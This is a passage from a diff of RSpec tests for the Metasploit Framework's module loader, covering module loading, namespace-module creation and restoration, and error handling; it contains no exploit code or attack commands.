do - it 'should match test suite files' do - described_class::UNIT_TEST_REGEX.should match('rb.ts.rb') - end - - it 'should match unit test files' do - described_class::UNIT_TEST_REGEX.should match('rb.ut.rb') - end - end - end - - context 'class methods' do - context 'typed_path' do - it 'should have MODULE_EXTENSION for the extension name' do - typed_path = described_class.typed_path(Msf::MODULE_AUX, module_reference_name) - - File.extname(typed_path).should == described_class::MODULE_EXTENSION - end - - # Don't iterate over a Hash here as that would too closely mirror the actual implementation and not test anything - it_should_behave_like 'typed_path', 'Msf::MODULE_AUX' => 'auxiliary' - it_should_behave_like 'typed_path', 'Msf::MODULE_ENCODER' => 'encoders' - it_should_behave_like 'typed_path', 'Msf::MODULE_EXPLOIT' => 'exploits' - it_should_behave_like 'typed_path', 'Msf::MODULE_NOP' => 'nops' - it_should_behave_like 'typed_path', 'Msf::MODULE_PAYLOAD' => 'payloads' - it_should_behave_like 'typed_path', 'Msf::MODULE_POST' => 'post' - end - end - - context 'instance methods' do - let(:module_manager) do - double('Module Manager', :module_load_error_by_path => {}) - end - - subject do - described_class.new(module_manager) - end - - context '#initialize' do - it 'should set @module_manager' do - loader = described_class.new(module_manager) - loader.instance_variable_get(:@module_manager).should == module_manager - end - end - - context '#loadable?' do - it 'should be abstract' do - expect { - subject.loadable?(parent_pathname.to_s) - }.to raise_error(NotImplementedError) - end - end - - context '#load_module' do - let(:parent_path) do - parent_pathname.to_s - end - - let(:type) do - Msf::MODULE_AUX - end - - before(:each) do - subject.stub(:module_path => module_path) - end - - it 'should call file_changed? with the module_path' do - module_manager.should_receive(:file_changed?).with(module_path).and_return(false) - - subject.load_module(parent_path, type, module_reference_name, :force => false) - end - - context 'without file changed' do - before(:each) do - module_manager.stub(:file_changed? => false) - end - - it 'should return false if :force is false' do - subject.load_module(parent_path, type, module_reference_name, :force => false).should be_false - end - - it 'should not call #read_module_content' do - subject.should_not_receive(:read_module_content) - subject.load_module(parent_path, type, module_reference_name) - end - end - - context 'with file changed' do - let(:module_full_name) do - File.join('auxiliary', module_reference_name) - end - - let(:namespace_module) do - Msf::Modules.const_get(relative_name) - end - - let(:relative_name) do - 'Mod617578696c696172792f72737065632f6d6f636b' - end - - before(:each) do - # capture in a local so that instance_eval can access it - relative_name = self.relative_name - - # remove module from previous examples so reload error aren't logged - if Msf::Modules.const_defined? relative_name - Msf::Modules.instance_eval do - remove_const relative_name - end - end - - # create an namespace module that can be restored - module Msf - module Modules - module Mod617578696c696172792f72737065632f6d6f636b - class Metasploit3 < Msf::Auxiliary - - end - end - end - end - - @original_namespace_module = Msf::Modules::Mod617578696c696172792f72737065632f6d6f636b - - module_manager.stub(:delete).with(module_reference_name) - module_manager.stub(:file_changed?).with(module_path).and_return(true) - - module_set = double('Module Set') - module_set.stub(:delete).with(module_reference_name) - module_manager.stub(:module_set).with(type).and_return(module_set) - end - - it 'should call #namespace_module_transaction with the module full name and :reload => true' do - subject.stub(:read_module_content => module_content) - - subject.should_receive(:namespace_module_transaction).with(module_full_name, hash_including(:reload => true)) - - subject.load_module(parent_path, type, module_reference_name) - end - - it 'should set the parent_path on the namespace_module to match the parent_path passed to #load_module' do - module_manager.stub(:on_module_load) - - subject.stub(:read_module_content => module_content) - - subject.load_module(parent_path, type, module_reference_name).should be_true - namespace_module.parent_path.should == parent_path - end - - it 'should call #read_module_content to get the module content so that #read_module_content can be overridden to change loading behavior' do - module_manager.stub(:on_module_load) - - subject.should_receive(:read_module_content).with(parent_path, type, module_reference_name).and_return(module_content) - subject.load_module(parent_path, type, module_reference_name).should be_true - end - - it 'should call namespace_module.module_eval_with_lexical_scope with the module_path' do - subject.stub(:read_module_content => malformed_module_content) - module_manager.stub(:on_module_load) - - # if the module eval error includes the module_path then the module_path was passed along correctly - subject.should_receive(:elog).with(/#{Regexp.escape(module_path)}/) - subject.load_module(parent_path, type, module_reference_name, :reload => true).should be_false - end - - context 'with empty module content' do - before(:each) do - subject.stub(:read_module_content).with(parent_path, type, module_reference_name).and_return('') - end - - it 'should return false' do - subject.load_module(parent_path, type, module_reference_name).should be_false - end - - it 'should not attempt to make a new namespace_module' do - subject.should_not_receive(:namespace_module_transaction) - subject.load_module(parent_path, type, module_reference_name).should be_false - end - end - - context 'with errors from namespace_module_eval_with_lexical_scope' do - before(:each) do - @namespace_module = double('Namespace Module') - @namespace_module.stub(:parent_path=) - - subject.stub(:namespace_module_transaction).and_yield(@namespace_module) - module_content = double('Module Content', :empty? => false) - subject.stub(:read_module_content).and_return(module_content) - end - - context 'with Interrupt' do - it 'should re-raise' do - @namespace_module.stub(:module_eval_with_lexical_scope).and_raise(Interrupt) - - expect { - subject.load_module(parent_path, type, module_reference_name) - }.to raise_error(Interrupt) - end - end - - context 'with other Exception' do - let(:backtrace) do - [ - 'Backtrace Line 1', - 'Backtrace Line 2' - ] - end - - let(:error) do - error_class.new(error_message) - end - - let(:error_class) do - ArgumentError - end - - let(:error_message) do - 'This is rspec. Your argument is invalid.' - end - - before(:each) do - @namespace_module.stub(:module_eval_with_lexical_scope).and_raise(error) - - @module_load_error_by_path = {} - module_manager.stub(:module_load_error_by_path => @module_load_error_by_path) - - error.stub(:backtrace => backtrace) - end - - context 'with version compatibility' do - before(:each) do - @namespace_module.stub(:version_compatible!).with(module_path, module_reference_name) - end - - it 'should record the load error using the original error' do - subject.should_receive(:load_error).with(module_path, error) - subject.load_module(parent_path, type, module_reference_name).should be_false - end - end - - context 'without version compatibility' do - let(:version_compatibility_error) do - Msf::Modules::VersionCompatibilityError.new( - :module_path => module_path, - :module_reference_name => module_reference_name, - :minimum_api_version => infinity, - :minimum_core_version => infinity - ) - end - - let(:infinity) do - 0.0 / 0.0 - end - - before(:each) do - @namespace_module.stub( - :version_compatible! - ).with( - module_path, - module_reference_name - ).and_raise( - version_compatibility_error - ) - end - - it 'should record the load error using the Msf::Modules::VersionCompatibilityError' do - subject.should_receive(:load_error).with(module_path, version_compatibility_error) - subject.load_module(parent_path, type, module_reference_name).should be_false - end - end - - it 'should return false' do - @namespace_module.stub(:version_compatible!).with(module_path, module_reference_name) - - subject.load_module(parent_path, type, module_reference_name).should be_false - end - end - end - - context 'without module_eval errors' do - before(:each) do - @namespace_module = double('Namespace Module') - @namespace_module.stub(:parent_path=) - @namespace_module.stub(:module_eval_with_lexical_scope).with(module_content, module_path) - - metasploit_class = double('Metasploit Class', :parent => @namespace_module) - @namespace_module.stub(:metasploit_class! => metasploit_class) - - subject.stub(:namespace_module_transaction).and_yield(@namespace_module) - - subject.stub(:read_module_content).with(parent_path, type, module_reference_name).and_return(module_content) - - @module_load_error_by_path = {} - module_manager.stub(:module_load_error_by_path => @module_load_error_by_path) - end - - it 'should check for version compatibility' do - module_manager.stub(:on_module_load) - - @namespace_module.should_receive(:version_compatible!).with(module_path, module_reference_name) - subject.load_module(parent_path, type, module_reference_name) - end - - context 'without version compatibility' do - let(:version_compatibility_error) do - Msf::Modules::VersionCompatibilityError.new( - :module_path => module_path, - :module_reference_name => module_reference_name, - :minimum_api_version => infinity, - :minimum_core_version => infinity - ) - end - - let(:infinity) do - 0.0 / 0.0 - end - - before(:each) do - @namespace_module.stub( - :version_compatible! - ).with( - module_path, - module_reference_name - ).and_raise( - version_compatibility_error - ) - end - - it 'should record the load error' do - subject.should_receive(:load_error).with(module_path, version_compatibility_error) - subject.load_module(parent_path, type, module_reference_name).should be_false - end - - it 'should return false' do - subject.load_module(parent_path, type, module_reference_name).should be_false - end - - it 'should restore the old namespace module' do - - end - end - - context 'with version compatibility' do - before(:each) do - @namespace_module.stub(:version_compatible!).with(module_path, module_reference_name) - - module_manager.stub(:on_module_load) - end - - context 'without metasploit_class' do - let(:error) do - Msf::Modules::MetasploitClassCompatibilityError.new( - :module_path => module_path, - :module_reference_name => module_reference_name - ) - end - - before(:each) do - @namespace_module.stub(:metasploit_class!).with(module_path, module_reference_name).and_raise(error) - end - - it 'should record load error' do - subject.should_receive( - :load_error - ).with( - module_path, - kind_of(Msf::Modules::MetasploitClassCompatibilityError) - ) - subject.load_module(parent_path, type, module_reference_name).should be_false - end - - it 'should return false' do - subject.load_module(parent_path, type, module_reference_name).should be_false - end - - it 'should restore the old namespace module' do - subject.load_module(parent_path, type, module_reference_name).should be_false - Msf::Modules.const_defined?(relative_name).should be_true - Msf::Modules.const_get(relative_name).should == @original_namespace_module - end - end - - context 'with metasploit_class' do - let(:metasploit_class) do - double('Metasploit Class') - end - - before(:each) do - @namespace_module.stub(:metasploit_class! => metasploit_class) - end - - it 'should check if it is usable' do - subject.should_receive(:usable?).with(metasploit_class).and_return(true) - subject.load_module(parent_path, type, module_reference_name).should be_true - end - - context 'without usable metasploit_class' do - before(:each) do - subject.stub(:usable? => false) - end - - it 'should log information' do - subject.should_receive(:ilog).with(/#{module_reference_name}/, 'core', LEV_1) - subject.load_module(parent_path, type, module_reference_name).should be_false - end - - it 'should return false' do - subject.load_module(parent_path, type, module_reference_name).should be_false - end - - it 'should restore the old namespace module' do - subject.load_module(parent_path, type, module_reference_name).should be_false - Msf::Modules.const_defined?(relative_name).should be_true - Msf::Modules.const_get(relative_name).should == @original_namespace_module - end - end - - context 'with usable metasploit_class' do - before(:each) do - # remove the mocked namespace_module since happy-path/real loading is occurring in this context - subject.unstub(:namespace_module_transaction) - end - - it 'should log load information' do - subject.should_receive(:ilog).with(/#{module_reference_name}/, 'core', LEV_2) - subject.load_module(parent_path, type, module_reference_name).should be_true - end - - it 'should delete any pre-existing load errors from module_manager.module_load_error_by_path' do - original_load_error = "Back in my day this module didn't load" - module_manager.module_load_error_by_path[module_path] = original_load_error - - module_manager.module_load_error_by_path[module_path].should == original_load_error - subject.load_module(parent_path, type, module_reference_name).should be_true - module_manager.module_load_error_by_path[module_path].should be_nil - end - - it 'should return true' do - subject.load_module(parent_path, type, module_reference_name).should be_true - end - - it 'should call module_manager.on_module_load' do - module_manager.should_receive(:on_module_load) - subject.load_module(parent_path, type, module_reference_name).should be_true - end - - context 'with :recalculate_by_type' do - it 'should set the type to be recalculated' do - recalculate_by_type = {} - - subject.load_module( - parent_path, - type, - module_reference_name, - :recalculate_by_type => recalculate_by_type - ).should be_true - recalculate_by_type[type].should be_true - end - end - - context 'with :count_by_type' do - it 'should set the count to 1 if it does not exist' do - count_by_type = {} - - count_by_type.has_key?(type).should be_false - subject.load_module( - parent_path, - type, - module_reference_name, - :count_by_type => count_by_type - ).should be_true - count_by_type[type].should == 1 - end - - it 'should increment the count if it does exist' do - original_count = 1 - count_by_type = { - type => original_count - } - - subject.load_module( - parent_path, - type, - module_reference_name, - :count_by_type => count_by_type - ).should be_true - - incremented_count = original_count + 1 - count_by_type[type].should == incremented_count - end - end - end - end - end - end - end - end - - context '#create_namespace_module' do - let(:namespace_module_names) do - [ - 'Msf', - 'Modules', - relative_name - ] - end - - let(:relative_name) do - 'Mod0' - end - - before(:each) do - # capture in local variable so it works in instance_eval - relative_name = self.relative_name - - if Msf::Modules.const_defined? relative_name - Msf::Modules.instance_eval do - remove_const relative_name - end - end - end - - it 'should wrap NAMESPACE_MODULE_CONTENT with module declarations matching namespace_module_names' do - Object.should_receive( - :module_eval - ).with( - "module #{namespace_module_names[0]}\n" \ - "module #{namespace_module_names[1]}\n" \ - "module #{namespace_module_names[2]}\n" \ - "#{described_class::NAMESPACE_MODULE_CONTENT}\n" \ - "end\n" \ - "end\n" \ - "end", - anything, - anything - ) - - namespace_module = double('Namespace Module') - namespace_module.stub(:loader=) - subject.stub(:current_module => namespace_module) - - subject.send(:create_namespace_module, namespace_module_names) - end - - it "should set the module_eval path to the loader's __FILE__" do - Object.should_receive( - :module_eval - ).with( - anything, - described_class_pathname.to_s, - anything - ) - - namespace_module = double('Namespace Module') - namespace_module.stub(:loader=) - subject.stub(:current_module => namespace_module) - - subject.send(:create_namespace_module, namespace_module_names) - end - - it 'should set the module_eval line to compensate for the wrapping module declarations' do - Object.should_receive( - :module_eval - ).with( - anything, - anything, - described_class::NAMESPACE_MODULE_LINE - namespace_module_names.length - ) - - namespace_module = double('Namespace Module') - namespace_module.stub(:loader=) - subject.stub(:current_module => namespace_module) - - subject.send(:create_namespace_module, namespace_module_names) - end - - it "should set the namespace_module's module loader to itself" do - namespace_module = double('Namespace Module') - - namespace_module.should_receive(:loader=).with(subject) - - subject.stub(:current_module => namespace_module) - - subject.send(:create_namespace_module, namespace_module_names) - end - end - - context '#current_module' do - let(:module_names) do - [ - 'Msf', - 'Modules', - relative_name - ] - end - - let(:relative_name) do - 'Mod0' - end - - before(:each) do - # copy to local variable so it is accessible in instance_eval - relative_name = self.relative_name - - if Msf::Modules.const_defined? relative_name - Msf::Modules.instance_eval do - remove_const relative_name - end - end - end - - it 'should return nil if the module is not defined' do - Msf::Modules.const_defined?(relative_name).should be_false - subject.send(:current_module, module_names).should be_nil - end - - it 'should return the module if it is defined' do - module Msf - module Modules - module Mod0 - end - end - end - - subject.send(:current_module, module_names).should == Msf::Modules::Mod0 - end - end - - context '#each_module_reference_name' do - it 'should be abstract' do - expect { - subject.send(:each_module_reference_name, parent_path) - }.to raise_error(NotImplementedError) - end - end - - context '#module_path' do - it 'should be abstract' do - expect { - subject.send(:module_path, parent_path, Msf::MODULE_AUX, module_reference_name) - }.to raise_error(NotImplementedError) - end - end - - context '#module_path?' do - it 'should return false if path is hidden' do - hidden_path = '.hidden/path/file.rb' - - subject.send(:module_path?, hidden_path).should be_false - end - - it 'should return false if the file extension is not MODULE_EXTENSION' do - non_module_extension = '.c' - path = "path/with/wrong/extension#{non_module_extension}" - - non_module_extension.should_not == described_class::MODULE_EXTENSION - subject.send(:module_path?, path).should be_false - end - - it 'should return false if the file is a unit test' do - unit_test_extension = '.rb.ut.rb' - path = "path/to/unit_test#{unit_test_extension}" - - subject.send(:module_path?, path).should be_false - end - - it 'should return false if the file is a test suite' do - test_suite_extension = '.rb.ts.rb' - path = "path/to/test_suite#{test_suite_extension}" - - subject.send(:module_path?, path).should be_false - end - - it 'should return true otherwise' do - subject.send(:module_path?, module_path).should be_true - end - end - - context '#module_reference_name_from_path' do - it 'should strip MODULE_EXTENSION from the end of the path' do - path_without_extension = "a#{described_class::MODULE_EXTENSION}.dir/a" - path = "#{path_without_extension}#{described_class::MODULE_EXTENSION}" - - subject.send(:module_reference_name_from_path, path).should == path_without_extension - end - end - - context '#namespace_module_name' do - it 'should prefix the name with Msf::Modules::' do - subject.send(:namespace_module_name, module_full_name).should start_with('Msf::Modules::') - end - - it 'should prefix the relative name with Mod' do - namespace_module_name = subject.send(:namespace_module_name, module_full_name) - relative_name = namespace_module_name.gsub(/^.*::/, '') - - relative_name.should start_with('Mod') - end - - it 'should be reversible' do - namespace_module_name = subject.send(:namespace_module_name, module_full_name) - unpacked_name = namespace_module_name.gsub(/^.*::Mod/, '') - - [unpacked_name].pack('H*').should == module_full_name - end - end - - context '#namespace_module_names' do - it "should prefix the array with ['Msf', 'Modules']" do - subject.send(:namespace_module_names, module_full_name).should start_with(['Msf', 'Modules']) - end - - it 'should prefix the relative name with Mod' do - namespace_module_names = subject.send(:namespace_module_names, module_full_name) - - namespace_module_names.last.should start_with('Mod') - end - - it 'should be reversible' do - namespace_module_names = subject.send(:namespace_module_names, module_full_name) - relative_name = namespace_module_names.last - unpacked_name = relative_name.gsub(/^Mod/, '') - - [unpacked_name].pack('H*').should == module_full_name - end - end - - context '#namespace_module_transaction' do - let(:relative_name) do - 'Mod617578696c696172792f72737065632f6d6f636b' - end - - context 'with pre-existing namespace module' do - before(:each) do - module Msf - module Modules - module Mod617578696c696172792f72737065632f6d6f636b - class Metasploit3 - - end - end - end - end - - @existent_namespace_module = Msf::Modules::Mod617578696c696172792f72737065632f6d6f636b - end - - context 'with :reload => false' do - it 'should log an error' do - subject.should_receive(:elog).with(/Reloading.*when :reload => false/) - - subject.send(:namespace_module_transaction, module_full_name, :reload => false) do |namespace_module| - true - end - end - end - - it 'should remove the pre-existing namespace module' do - Msf::Modules.should_receive(:remove_const).with(relative_name) - - subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| - true - end - end - - it 'should create a new namespace module for the block' do - subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| - namespace_module.should_not == @existent_namespace_module - - expect { - namespace_module::Metasploit3 - }.to raise_error(NameError) - - true - end - end - - context 'with an Exception from the block' do - let(:error_class) do - NameError - end - - let(:error_message) do - "SayMyName" - end - - it 'should restore the previous namespace module' do - Msf::Modules.const_get(relative_name).should == @existent_namespace_module - - begin - subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| - current_constant = Msf::Modules.const_get(relative_name) - - current_constant.should == namespace_module - current_constant.should_not == @existent_namespace_module - - raise error_class, error_message - end - rescue error_class => error - end - - Msf::Modules.const_get(relative_name).should == @existent_namespace_module - end - - it 'should re-raise the error' do - expect { - subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| - raise error_class, error_message - end - }.to raise_error(error_class, error_message) - end - end - - context 'with the block returning false' do - it 'should restore the previous namespace module' do - Msf::Modules.const_get(relative_name).should == @existent_namespace_module - - subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| - current_constant = Msf::Modules.const_get(relative_name) - - current_constant.should == namespace_module - current_constant.should_not == @existent_namespace_module - - false - end - - Msf::Modules.const_get(relative_name).should == @existent_namespace_module - end - - it 'should return false' do - subject.send(:namespace_module_transaction, module_full_name) { |namespace_module| - false - }.should be_false - end - end - - context 'with the block returning true' do - it 'should not restore the previous namespace module' do - Msf::Modules.const_get(relative_name).should == @existent_namespace_module - - subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| - true - end - - current_constant = Msf::Modules.const_get(relative_name) - - current_constant.should_not be_nil - current_constant.should_not == @existent_namespace_module - end - - it 'should return true' do - subject.send(:namespace_module_transaction, module_full_name) { |namespace_module| - true - }.should be_true - end - end - end - - context 'without pre-existing namespace module' do - before(:each) do - relative_name = self.relative_name - - if Msf::Modules.const_defined? relative_name - Msf::Modules.send(:remove_const, relative_name) - end - end - - it 'should create a new namespace module' do - expect { - Msf::Modules.const_get(relative_name) - }.to raise_error(NameError) - - subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| - Msf::Modules.const_get(relative_name).should == namespace_module - end + namespace_module_names.join('::').constantize end - context 'with an Exception from the block' do - let(:error_class) do - Exception - end + context 'loader' do + it 'should be a read/write attribute' do + loader = double('Loader') + namespace_module.loader = loader - let(:error_message) do - 'Error Message' - end + namespace_module.loader.should == loader + end + end - it 'should remove the created namespace module' do - Msf::Modules.const_defined?(relative_name).should be_false + context 'module_eval_with_lexical_scope' do + it 'should capture the lexical scope' do + expect { + namespace_module.module_eval_with_lexical_scope(module_content, module_path) + }.to_not raise_error + end - begin - subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| - Msf::Module.const_defined?(relative_name).should be_true + context 'with malformed module content' do + it 'should use module path in module_eval' do + error = nil - raise error_class, error_message - end - rescue error_class - end + begin + namespace_module.module_eval_with_lexical_scope(malformed_module_content, module_path) + rescue NoMethodError => error + # don't put the should in the rescue because if there is no error, then the example will still be + # successful. + end - Msf::Modules.const_defined?(relative_name).should be_false - end + error.should_not be_nil + error.backtrace[0].should include(module_path) + end + end + end - it 'should re-raise the error' do - expect { - subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| - raise error_class, error_message - end - }.to raise_error(error_class, error_message) - end - end + context 'parent_path' do + it 'should be a read/write attribute' do + parent_path = double('Parent Path') + namespace_module.parent_path = parent_path - context 'with the block returning false' do - it 'should remove the created namespace module' do - Msf::Modules.const_defined?(relative_name).should be_false - - subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| - Msf::Modules.const_defined?(relative_name).should be_true - - false - end - - Msf::Modules.const_defined?(relative_name).should be_false - end - - it 'should return false' do - subject.send(:namespace_module_transaction, module_full_name) { |namespace_module| - false - }.should be_false - end - end - - context 'with the block returning true' do - it 'should not restore the non-existent previous namespace module' do - Msf::Modules.const_defined?(relative_name).should be_false - - created_namespace_module = nil - - subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| - Msf::Modules.const_defined?(relative_name).should be_true - - created_namespace_module = namespace_module - - true - end - - Msf::Modules.const_defined?(relative_name).should be_true - Msf::Modules.const_get(relative_name).should == created_namespace_module - end - - it 'should return true' do - subject.send(:namespace_module_transaction, module_full_name) { |namespace_module| - true - }.should be_true - end - end - end - end - - context '#read_module_content' do - it 'should be abstract' do - type = Msf::MODULE_AUX - - expect { - subject.send(:read_module_content, parent_pathname.to_s, type, module_reference_name) - }.to raise_error(NotImplementedError) - end - end - - context '#restore_namespace_module' do - let(:parent_module) do - Msf::Modules - end - - let(:relative_name) do - 'Mod0' - end - - it 'should do nothing if parent_module is nil' do - parent_module = nil - - # can check that NoMethodError is not raised because *const* methods are - # not defined on `nil`. - expect { - subject.send(:restore_namespace_module, parent_module, relative_name, @original_namespace_module) - }.to_not raise_error - end - - context 'with namespace_module nil' do - let(:namespace_module) do - nil - end - - it 'should remove relative_name' do - parent_module.should_receive(:remove_const).with(relative_name) - - subject.send(:restore_namespace_module, parent_module, relative_name, namespace_module) - end - - it 'should not set the relative_name constant to anything' do - parent_module.should_not_receive(:const_set) - - subject.send(:restore_namespace_module, parent_module, relative_name, namespace_module) - end - end - - context 'with parent_module and namespace_module' do - before(:each) do - module Msf - module Modules - module Mod0 - class Metasploit3 - - end - end - end - end - - @original_namespace_module = Msf::Modules::Mod0 - - Msf::Modules.send(:remove_const, relative_name) - end - - context 'with relative_name being a defined constant' do - before(:each) do - module Msf - module Modules - module Mod0 - class Metasploit2 - - end - end - end - end - - @current_namespace_module = Msf::Modules::Mod0 - end - - context 'with the current constant being the namespace_module' do - it 'should not change the constant' do - parent_module.const_defined?(relative_name).should be_true - - current_module = parent_module.const_get(relative_name) - current_module.should == @current_namespace_module - - subject.send(:restore_namespace_module, parent_module, relative_name, @current_namespace_module) - - parent_module.const_defined?(relative_name).should be_true - restored_module = parent_module.const_get(relative_name) - restored_module.should == current_module - restored_module.should == @current_namespace_module - end - - it 'should not remove the constant and then set it' do - parent_module.should_not_receive(:remove_const).with(relative_name) - parent_module.should_not_receive(:const_set).with(relative_name, @current_namespace_module) - - subject.send(:restore_namespace_module, parent_module, relative_name, @current_namespace_module) - end - end - - context 'without the current constant being the namespace_module' do - it 'should remove relative_name from parent_module' do - parent_module.const_defined?(relative_name).should be_true - parent_module.should_receive(:remove_const).with(relative_name) - - subject.send(:restore_namespace_module, parent_module, relative_name, @original_namespace_module) - end - - it 'should restore the module to the constant' do - parent_module.const_get(relative_name).should_not == @original_namespace_module - - subject.send(:restore_namespace_module, parent_module, relative_name, @original_namespace_module) - - parent_module.const_get(relative_name).should == @original_namespace_module - end - end - end - - context 'without relative_name being a defined constant' do - it 'should set relative_name on parent_module to namespace_module' do - parent_module.const_defined?(relative_name).should be_false - - subject.send(:restore_namespace_module, parent_module, relative_name, @original_namespace_module) - - parent_module.const_defined?(relative_name).should be_true - parent_module.const_get(relative_name).should == @original_namespace_module - end - end - end - end - - context '#typed_path' do - it 'should delegate to the class method' do - type = Msf::MODULE_EXPLOIT - - described_class.should_receive(:typed_path).with(type, module_reference_name) - subject.send(:typed_path, type, module_reference_name) + namespace_module.parent_path.should == parent_path + end + end end - end + end - context '#usable?' do - context 'without metasploit_class responding to is_usable' do - it 'should return true' do - metasploit_class = double('Metasploit Class') - metasploit_class.should_not respond_to(:is_usable) + context 'MODULE_EXTENSION' do + it 'should only support ruby source modules' do + described_class::MODULE_EXTENSION.should == '.rb' + end + end - subject.send(:usable?, metasploit_class).should be_true - end - end + context 'MODULE_SEPARATOR' do + it 'should make valid module names' do + name = ['Msf', 'Modules'].join(described_class::MODULE_SEPARATOR) + name.constantize.should == Msf::Modules + end + end - context 'with metasploit_class responding to is_usable' do - it 'should delegate to metasploit_class.is_usable' do - # not a proper return, but guarantees that delegation is actually happening - usability = 'maybe' - metasploit_class = double('Metasploit Class', :is_usable => usability) + context 'NAMESPACE_MODULE_NAMES' do + it 'should be under Msf so that Msf constants resolve from lexical scope' do + described_class::NAMESPACE_MODULE_NAMES.should include('Msf') + end - subject.send(:usable?, metasploit_class).should == usability - end + it "should not be directly under Msf so that modules don't collide with core namespaces" do + direct_index = described_class::NAMESPACE_MODULE_NAMES.index('Msf') + last_index = described_class::NAMESPACE_MODULE_NAMES.length - 1 - context 'with error from metasploit_class.is_usable' do - let(:error) do - 'Expected error' - end + last_index.should > direct_index + end + end - let(:metasploit_class) do - metasploit_class = double('Metasploit Class') + context 'UNIT_TEST_REGEX' do + it 'should match test suite files' do + described_class::UNIT_TEST_REGEX.should match('rb.ts.rb') + end - metasploit_class.stub(:is_usable).and_raise(error) + it 'should match unit test files' do + described_class::UNIT_TEST_REGEX.should match('rb.ut.rb') + end + end + end - metasploit_class - end + context 'class methods' do + context 'typed_path' do + it 'should have MODULE_EXTENSION for the extension name' do + typed_path = described_class.typed_path(Msf::MODULE_AUX, module_reference_name) - it 'should log error' do - subject.should_receive(:elog).with(/#{error}/) + File.extname(typed_path).should == described_class::MODULE_EXTENSION + end - subject.send(:usable?, metasploit_class) - end + # Don't iterate over a Hash here as that would too closely mirror the actual implementation and not test anything + it_should_behave_like 'typed_path', 'Msf::MODULE_AUX' => 'auxiliary' + it_should_behave_like 'typed_path', 'Msf::MODULE_ENCODER' => 'encoders' + it_should_behave_like 'typed_path', 'Msf::MODULE_EXPLOIT' => 'exploits' + it_should_behave_like 'typed_path', 'Msf::MODULE_NOP' => 'nops' + it_should_behave_like 'typed_path', 'Msf::MODULE_PAYLOAD' => 'payloads' + it_should_behave_like 'typed_path', 'Msf::MODULE_POST' => 'post' + end + end - it 'should return false' do - subject.send(:usable?, metasploit_class).should be_false - end - end - end - end - end + context 'instance methods' do + let(:module_manager) do + double('Module Manager', :module_load_error_by_path => {}) + end + + subject do + described_class.new(module_manager) + end + + context '#initialize' do + it 'should set @module_manager' do + loader = described_class.new(module_manager) + loader.instance_variable_get(:@module_manager).should == module_manager + end + end + + context '#loadable?' do + it 'should be abstract' do + expect { + subject.loadable?(parent_pathname.to_s) + }.to raise_error(NotImplementedError) + end + end + + context '#load_module' do + let(:parent_path) do + parent_pathname.to_s + end + + let(:type) do + Msf::MODULE_AUX + end + + before(:each) do + subject.stub(:module_path => module_path) + end + + it 'should call file_changed? with the module_path' do + module_manager.should_receive(:file_changed?).with(module_path).and_return(false) + + subject.load_module(parent_path, type, module_reference_name, :force => false) + end + + context 'without file changed' do + before(:each) do + module_manager.stub(:file_changed? => false) + end + + it 'should return false if :force is false' do + subject.load_module(parent_path, type, module_reference_name, :force => false).should be_false + end + + it 'should not call #read_module_content' do + subject.should_not_receive(:read_module_content) + subject.load_module(parent_path, type, module_reference_name) + end + end + + context 'with file changed' do + let(:module_full_name) do + File.join('auxiliary', module_reference_name) + end + + let(:namespace_module) do + Msf::Modules.const_get(relative_name) + end + + let(:relative_name) do + 'Mod617578696c696172792f72737065632f6d6f636b' + end + + before(:each) do + # capture in a local so that instance_eval can access it + relative_name = self.relative_name + + # remove module from previous examples so reload error aren't logged + if Msf::Modules.const_defined? relative_name + Msf::Modules.instance_eval do + remove_const relative_name + end + end + + # create an namespace module that can be restored + module Msf + module Modules + module Mod617578696c696172792f72737065632f6d6f636b + class Metasploit3 < Msf::Auxiliary + + end + end + end + end + + @original_namespace_module = Msf::Modules::Mod617578696c696172792f72737065632f6d6f636b + + module_manager.stub(:delete).with(module_reference_name) + module_manager.stub(:file_changed?).with(module_path).and_return(true) + + module_set = double('Module Set') + module_set.stub(:delete).with(module_reference_name) + module_manager.stub(:module_set).with(type).and_return(module_set) + end + + it 'should call #namespace_module_transaction with the module full name and :reload => true' do + subject.stub(:read_module_content => module_content) + + subject.should_receive(:namespace_module_transaction).with(module_full_name, hash_including(:reload => true)) + + subject.load_module(parent_path, type, module_reference_name) + end + + it 'should set the parent_path on the namespace_module to match the parent_path passed to #load_module' do + module_manager.stub(:on_module_load) + + subject.stub(:read_module_content => module_content) + + subject.load_module(parent_path, type, module_reference_name).should be_true + namespace_module.parent_path.should == parent_path + end + + it 'should call #read_module_content to get the module content so that #read_module_content can be overridden to change loading behavior' do + module_manager.stub(:on_module_load) + + subject.should_receive(:read_module_content).with(parent_path, type, module_reference_name).and_return(module_content) + subject.load_module(parent_path, type, module_reference_name).should be_true + end + + it 'should call namespace_module.module_eval_with_lexical_scope with the module_path' do + subject.stub(:read_module_content => malformed_module_content) + module_manager.stub(:on_module_load) + + # if the module eval error includes the module_path then the module_path was passed along correctly + subject.should_receive(:elog).with(/#{Regexp.escape(module_path)}/) + subject.load_module(parent_path, type, module_reference_name, :reload => true).should be_false + end + + context 'with empty module content' do + before(:each) do + subject.stub(:read_module_content).with(parent_path, type, module_reference_name).and_return('') + end + + it 'should return false' do + subject.load_module(parent_path, type, module_reference_name).should be_false + end + + it 'should not attempt to make a new namespace_module' do + subject.should_not_receive(:namespace_module_transaction) + subject.load_module(parent_path, type, module_reference_name).should be_false + end + end + + context 'with errors from namespace_module_eval_with_lexical_scope' do + before(:each) do + @namespace_module = double('Namespace Module') + @namespace_module.stub(:parent_path=) + + subject.stub(:namespace_module_transaction).and_yield(@namespace_module) + module_content = double('Module Content', :empty? => false) + subject.stub(:read_module_content).and_return(module_content) + end + + context 'with Interrupt' do + it 'should re-raise' do + @namespace_module.stub(:module_eval_with_lexical_scope).and_raise(Interrupt) + + expect { + subject.load_module(parent_path, type, module_reference_name) + }.to raise_error(Interrupt) + end + end + + context 'with other Exception' do + let(:backtrace) do + [ + 'Backtrace Line 1', + 'Backtrace Line 2' + ] + end + + let(:error) do + error_class.new(error_message) + end + + let(:error_class) do + ArgumentError + end + + let(:error_message) do + 'This is rspec. Your argument is invalid.' + end + + before(:each) do + 